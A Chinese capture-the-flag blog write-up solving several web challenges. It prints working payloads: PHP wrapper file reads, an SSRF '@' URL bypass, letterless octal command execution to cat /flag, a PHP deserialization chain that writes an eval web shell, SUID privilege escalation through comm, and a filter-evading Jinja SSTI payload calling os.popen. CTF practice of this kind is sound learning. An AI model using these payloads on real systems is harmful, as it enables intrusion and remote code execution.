My Blog
robots.txt进level1.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(!preg_match("/php/",$text))&&(file_get_contents($text,'r')==="welcome to nssctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "不可以捏";exit(); }else{include($file); //level2.php}
}
else{echo "这就不会了?'";
}
?>
感觉跟有道题长的一样呢,两个伪协议就行
text=data://text/plain,welcome to nssctf&file=php://filter/read=convert.base64-encode/resource=level2.php
拿到第二步的源码
<?phperror_reporting(0);$url = $_GET['url'];$cmd = $_GET['cmd'];echo "121.91.174.161:2368地址是你刘队博客,一定有网站有他的博客地址吧<br>";if (isset($_GET['url']) && preg_match('/^http:\/\/www.baidu.com/', $_GET['url'])) {$content = @file_get_contents($url);if ($content !== false && strpos($content, '121.91.174.161:2368') !== false) {if (isset($_GET['cmd'])&&(!preg_match('/[a-zA-Z;&|`]/', $cmd))) {system($cmd);} else {die("最后的绕过了");}} else {die("什么网站里会有刘队博客地址呢");}} else {die("不是一个正确的url");}
第二步要求前面是http://www.baidu.com的同时要包含对应网址,直接拼进去是不行的,用@进行ssrf绕过
然后是一个无字母命令执行,异或取反用不了,找了个叫bashfuck的工具,里面可以自动转换为八进制以及其他奇奇怪怪符号的替换方式
应该可以手搓八进制,不过中间空格多一个间隔之类的格式问题有点烦
payload:
url=http://www.baidu.com@121.91.174.161:2368&cmd=$'\143\141\164' $'\57\146\154\141\147'
苏 ID
找到一段base64,得到源码
<?php
class Test {public $name = 'test';public $age = 18;public function __destruct() {echo 'name: ' . $this->name . PHP_EOL . 'age: ' . $this->age . PHP_EOL;//起点1}
}class Test2 {public $info = 'test2';public $identity = 20;public function __construct() {$this->identity = 'people';}public function __toString() {if ($this->identity === 'admin') {return ($this->function)();//2,启用invoke}return '简介:' . $this->info . '身份是:' . $this->identity;}
}class func {public function __invoke() {return file_put_contents($this->file, $this->data);//终点3}
}if (isset($_GET['ser'])) {$ser = $_GET['ser'];$ser = unserialize($ser);
}
简单的反序列化和file_put_contents()写文件
链子如下
<?php
class Test {public $name = 'test';public $age = '18';
}class Test2 {public $info = 'test2';public $identity = 'admin';public $function;
}
class func {public $file;public $data;
}
$a=new Test();
$b=new Test2();
$c=new func();
$c->file='1.php';
$c->data='<?php @eval($_POST["shell"]);?>';
$b->function=$c;
$a->name=$b;
echo urlencode(serialize($a));
成功写马,蚁剑连接
找到flag,但是读不了,应该是没权限
先看哪些有suid权限
提权虽然做的不多,但是那几个老熟人就不用看了
并没有find之类的,有个comm,在网上找了下,这是一个用来排列文件差异,然后回显的指令
还真能这么做,666
Music Loving
做这个题的时候看着有过滤,一直嗯打都没反应,结果ssti在别的路由
宁宁,你在哪,,,
post传入mod=appbak,得到源码,不过过滤需要自己fuzz
from flask import Flask, request, render_template,render_template_string, redirect, url_for, session
import time
import osapp = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['.','/','Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):for keyword in FILTER_KEYWORDS:if keyword.lower() in complaint:return Truereturn False@app.route('/', methods=['GET'])
def index():session['user'] = 'test'return render_template('index.html')@app.route('/mod', methods=['GET', 'POST'])
def complaint_form():if request.method == 'POST':current_dir = os.path.dirname(os.path.abspath(__file__))con = request.form.get('mod')if contains_forbidden_keywords(con):return render_template('forbidden.html')conn = os.path.join(current_dir, con)if not os.path.exists(conn):return render_template('None.html') with open(conn, 'r', encoding='utf-8') as file:content = file.read()return render_template('contents.html', content=content)return render_template('submit.html')@app.route('/test', methods=['GET', 'POST'])
def shell():if session.get('user') != 'test':return render_template('Auth.html')cmd = request.args.get('cmd', '试一试')if request.method == 'POST':css_url = url_for('static', filename='style.css')command = request.form.get('cmd')if contains_forbidden_keywords(command):return render_template('forbidden.html')return render_template_string(f'''<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Loving Music</title><link rel="stylesheet" href="{css_url}"><link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet"></head><body><div class="container"><h1>Loving Music</h1><p class="emoji">🎵</p><p>{command}</p><a href="#" class="button">点击我</a></div></body></html>''', command=command,css_url=css_url)return render_template('shell.html', command=cmd)
@app.route('/robots.txt', methods=['GET', 'POST'])
def robots():return render_template('robots.txt')if __name__ == '__main__':app.run(host="0.0.0.0", port=8449, debug=True)
进入/test路由
过滤包括
'__','1','2','3','4','5','6','7','8','9','0',' ','.',' ','globals','read','%'
payload
{{g['pop']['_'+'_'+'g''lobals'+'_'+'_']['_''_builtins_''_']['_''_import_''_']('os')['popen'](((lipsum()|urlencode|first+'c')*dict(xxxxxxxxx=x)|join|length)|format(((x,)|count~(x,)|count)|int*dict(xxxxxxxxx=x)|join|length,(((x,)|count~{}|int)|int*dict(xxxxxxxxx=x)|join|length+dict(xxxxxxx=x)|join|length),(((x,x,x)|count*dict(xxxxxxxxx=x)|join|length+(x,x)|count))*dict(xxxx=x)|join|length,dict(xxxxxxxx=x)|join|length*dict(xxxx=x)|join|length,(dict(xxxxx=x)|join|length*dict(xxxxxxxxx=x)|join|length+(x,x)|count),((x,)|count~dict(xxxxxxx=x)|join|length)|int*dict(xxxxxx=x)|join|length,((x,)|count~(x,x)|count)|int*dict(xxxxxxxxx=x)|join|length,(((x,)|count~{}|int)|int*dict(xxxxxxxxx=x)|join|length+dict(xxxxxxx=x)|join|length),(((x,)|count~(x,)|count)|int*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length)))['r''ead']()}}